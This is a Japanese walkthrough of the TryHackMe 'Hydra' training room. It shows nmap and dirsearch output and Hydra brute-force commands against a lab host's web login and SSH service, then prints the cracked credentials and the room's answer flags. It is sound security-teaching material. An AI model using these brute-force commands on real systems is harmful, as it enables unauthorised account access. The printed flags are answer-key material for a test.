【TryHackMe】Hydra：Walkthrough

# 概要

TryHackMe「Hydra」のWalkthroughです。

https://tryhackme.com/r/room/hydra

# Task2

## **Q1**.*Use Hydra to bruteforce molly's web password. What is flag 1?*

**Hint**.*If you've tried more than 30 passwords from RockYou.txt, you are doing something wrong!*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.58.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 04:59 EDT
Warning: 10.10.58.118 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.58.118
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE    SERVICE    VERSION
22/tcp open     ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:c1:58:b6:bb:db:a6:48:3c:64:4f:e1:ef:93:8e:53 (RSA)
|   256 47:74:4c:f1:8c:72:09:eb:fc:f7:d5:34:5e:86:1f:95 (ECDSA)
|_  256 69:0b:58:95:ff:7e:c2:f8:1a:37:9a:68:05:1e:c3:b3 (ED25519)
80/tcp open     http       Node.js Express framework
| http-title: Hydra Challenge
|_Requested resource was /login
85/tcp filtered mit-ml-dev
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.17 seconds
```

`ssh:22`,`http:80`番ポートがオープンになっていることを確認出来ました。

Webサイトにアクセスするとログインフォームが表示されました。

![login form.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e2db1fd2-4491-6a1e-e615-afcbe68425ce.png)

一応他のディレクトリがないか列挙してみます。

```
$ dirsearch -u http://10.10.58.118
[05:02:28] 301 -  171B  - /js  ->  /js/
[05:03:56] 301 -  179B  - /assets  ->  /assets/
[05:04:22] 301 -  173B  - /css  ->  /css/
[05:04:52] 301 -  173B  - /img  ->  /img/
[05:05:06] 200 -    1KB - /login
[05:05:07] 200 -    1KB - /login/
```

とりあえずはこのページだけのようですね。

問題文からユーザー名は`molly`だと推測できるのでパスワードを`hydra`で解析します。
必要なパラメータ(`POSTボディのパラメータ`、`失敗時のエラーメッセージ`)を開発者ツールから取得します。

![login post body.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a41a16bb-df9e-7f6a-8a65-70f88d611bee.png)

パスワードを解析します。

```
$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.58.118 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect" -V
```

クレデンシャル情報を取得できました。

```
[80][http-post-form] host: 10.10.58.118   login: molly   password: sunshine
```

`Username: molly`,`Password: sunshine`を入力してログインするとフラグが表示されました。

![task2 q1 flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/009865db-6606-0012-1adf-0e0e5ba2995b.png)

**A**.**THM{2673a7dd116de68e85c48ec0b1f2612e}**

## **Q2**.*Use Hydra to bruteforce molly's SSH password. What is flag 2?*

ポートスキャンの結果から`ssh:22`の存在を確認しているので先ほどのクレデンシャル情報でログインできるか試してみます。

```
$ ssh molly@10.10.58.118        
The authenticity of host '10.10.58.118 (10.10.58.118)' can't be established.
ED25519 key fingerprint is SHA256:gVse1N29rp2F2dojs+9RKmugGqi8qa/JQmOiOJc5E+c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.58.118' (ED25519) to the list of known hosts.
molly@10.10.58.118's password: 
Permission denied, please try again.
molly@10.10.58.118's password:
```

ダメみたいですね。
恐らく別のパスワードが使用されているのでしょう。
これも`hydra`で解析します。

```
$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.58.118 ssh -V -t 30 
```

SSH接続用のパスワードを特定できました。

```
[22][ssh] host: 10.10.58.118   login: molly   password: butterfly
```

SSH接続をします。

```
$ ssh molly@10.10.58.118
molly@10.10.58.118's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-1092-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

65 packages can be updated.
32 updates are security updates.


Last login: Tue Dec 17 14:37:49 2019 from 10.8.11.98
molly@ip-10-10-58-118:~$
```

カレントディレクトリにある`flag2.txt`を閲覧してフラグゲットです!

```
molly@ip-10-10-58-118:~$ ls -l
total 4
-rw-rw-r-- 1 molly molly 38 Dec 17  2019 flag2.txt
molly@ip-10-10-58-118:~$ cat ./flag2.txt 
THM{c8eeb0468febbadea859baeb33b2541b}
```

**A**.**THM{c8eeb0468febbadea859baeb33b2541b}**